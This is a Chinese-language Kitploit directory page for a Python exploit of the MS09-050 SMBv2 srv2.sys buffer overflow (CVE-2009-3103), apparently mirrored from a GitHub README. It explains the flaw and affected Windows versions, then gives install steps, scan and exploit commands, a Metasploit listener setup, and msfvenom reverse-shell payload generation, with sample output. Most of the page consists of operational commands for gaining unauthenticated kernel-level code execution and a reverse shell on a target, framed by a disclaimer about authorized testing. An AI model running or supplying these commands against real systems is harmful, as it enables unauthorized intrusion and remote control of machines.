Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/bytejmp/ms09-050
漏洞扫描器Payload生成漏洞利用Shellcode信息收集后渗透利用网络安全渗透测试红队远程访问工具
GitHubbytejmp/ms09-050

MS09-050

针对 MS09-050 (CVE-2009-3103) SMBv2 srv2.sys 缓冲区溢出的 Python 漏洞利用程序,包含漏洞扫描器、架构自动检测以及 x86/x64 反向 shell 载荷。

14小时42分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
分享

MS09-050 — SMBv2 远程代码执行漏洞利用

CVE-2009-3103

漏洞详情

Windows Vista 和 Server 2008 引入了 SMBv2,并带来了一个新的内核驱动程序 srv2.sys。该驱动程序未能验证 SMB 协商请求中的 Process Id High 字段。通过在该字段中发送一个特制的值,攻击者可使 srv2.sys 使用受控的值索引函数指针表,从而解引用攻击者提供的地址。

其结果是内核上下文中的任意代码执行,且无需身份验证。攻击者只需能够访问 445 端口。

微软于 2009 年 10 月修复了此漏洞(KB975517)。任何未打补丁的 Vista SP1/SP2 或 Server 2008 SP1 系统均存在此漏洞。

受影响系统

目标操作系统架构
Windows Vista SP1x86
Windows Vista SP2x86 / x64
Windows Server 2008 SP1x86 / x64
Windows Server 2008 SP1 (pre-R2)x64

功能特性

  • 扫描模块:通过 SMB 协商对目标操作系统和架构进行指纹识别,并报告漏洞状态
  • 自动检测架构:扫描器将架构信息直接提供给漏洞利用模块,无需手动猜测
  • 内置载荷:适用于 x86 的 meterpreter/reverse_tcp stager,可直接与 multi/handler 配合使用
  • msfvenom 集成:通过 msfvenom 为任意架构生成任意载荷,并可通过可选的 --msf-payload 选择自定义载荷
  • 自定义 shellcode 支持:加载任意原始 shellcode 文件(-s)
  • 结构化输出:[+] 成功,[-] 错误,[!] 警告,[*] 信息

安装

root@kitploit:~
git clone https://github.com/bytejmp/MS09-050.git
cd MS09-050

环境要求:

  • Python 3.6+
  • rpcclient(来自 smbclient 包),用于在注入后触发载荷
  • msfvenom,仅在使用 --msfvenom 标志时需要

在 Debian/Ubuntu 上:

root@kitploit:~
sudo apt install smbclient

在 Arch Linux 上:

root@kitploit:~
sudo pacman -S smbclient

使用方法

扫描目标

root@kitploit:~
python3 MS09.py scan -t 192.168.1.10

输出:

root@kitploit:~
[*] Scanning 192.168.1.10:445...
[+] Target 192.168.1.10 is reachable
[+] SMBv2 supported
[*] OS: Windows Vista (TM) Ultimate 6001 Service Pack 1
[*] Architecture: x86
[+] Target appears VULNERABLE to MS09-050

使用内置载荷进行利用(x86)

使用 meterpreter/reverse_tcp stager。请先启动你的监听器:

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.0.0.5; set LPORT 4444; run"

然后运行漏洞利用:

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --payload -l 10.0.0.5 -p 4444

使用 msfvenom 进行利用(任意架构/载荷)

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --msfvenom -l 10.0.0.5 -p 4444 -a x64

使用 msfvenom 进行利用(自定义载荷)

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --msfvenom --msf-payload windows/meterpreter/reverse_tcp -l 10.0.0.5 -p 4444

使用自定义 shellcode 文件进行利用

生成一次原始 shellcode,无需 msfvenom 即可重复使用:

root@kitploit:~
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 EXITFUNC=thread -f raw -o shell.bin

然后将其提供给漏洞利用程序:

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 -s shellcode.bin -a x86

完整帮助

root@kitploit:~
$ python3 MS09.py -h

usage: MS09.py [-h] {scan,exploit} ...

MS09-050 SMBv2 Remote Code Execution Exploit (CVE-2009-3103)

positional arguments:
  {scan,exploit}  Operation mode
    scan          Scan target for MS09-050 vulnerability
    exploit       Send exploit to target

$ python3 MS09.py exploit -h

usage: MS09.py exploit [-h] -t TARGET [-P PORT] [-a {x86,x64}]
                        (--payload | --msfvenom | -s FILE)
                        [-l LHOST] [-p LPORT] [--msf-payload PAYLOAD]

options:
  -t, --target      Target IP address
  -P, --port        SMB port (default: 445)
  -a, --arch        Target architecture (auto-detected if omitted)
  --payload         Use built-in reverse shell payload (no Metasploit needed)
  --msfvenom        Generate shellcode with msfvenom
  --msf-payload     msfvenom payload (default: shell_reverse_tcp x86, x64/shell_reverse_tcp x64)
  -s, --shellcode   Path to raw shellcode file
  -l, --lhost       Listener IP address
  -p, --lport       Listener port

项目结构

root@kitploit:~
MS09/
├── MS09.py              # Main entry point
├── README.md
└── lib/
    ├── __init__.py
    ├── output.py        # Standardized output formatting
    ├── scanner.py       # SMBv2 vulnerability scanner
    ├── payloads.py      # Built-in shellcode (reverse TCP shell)
    └── exploit.py       # Exploit buffer construction and delivery

工作原理

  1. 扫描器发送一个 SMB1 Negotiate Protocol Request,以对目标操作系统版本和架构进行指纹识别
  2. 漏洞利用程序构造一个畸形的 SMBv2 协商请求,使 srv2.sys 中的缓冲区溢出
  3. 使用 sysenter hook stager 在内核上下文中获得初始代码执行
  4. 该 stager 转换到用户模式并执行所提供的 shellcode(反向 shell)
  5. rpcclient 通过发起 SMB 身份验证尝试来触发注入的代码

参考资料

  • CVE-2009-3103
  • Microsoft Security Bulletin MS09-050
  • SRV2.SYS SMBv2 Vulnerability Analysis

免责声明

本工具仅供授权的渗透测试和教育目的使用。

未经授权访问计算机系统在大多数司法管辖区均属刑事犯罪。在对任何目标使用本工具之前,你必须获得系统所有者的明确书面许可。作者不承担任何责任,也不对因本软件造成的任何误用或损害负责。

使用本工具即表示你同意:

  • 你拥有测试目标系统的书面授权
  • 你在合法的安全评估范围内操作
  • 你对自身行为承担全部责任
  • 你将遵守所有适用的法律和法规

负责任地使用。合乎道德地入侵。

下载工具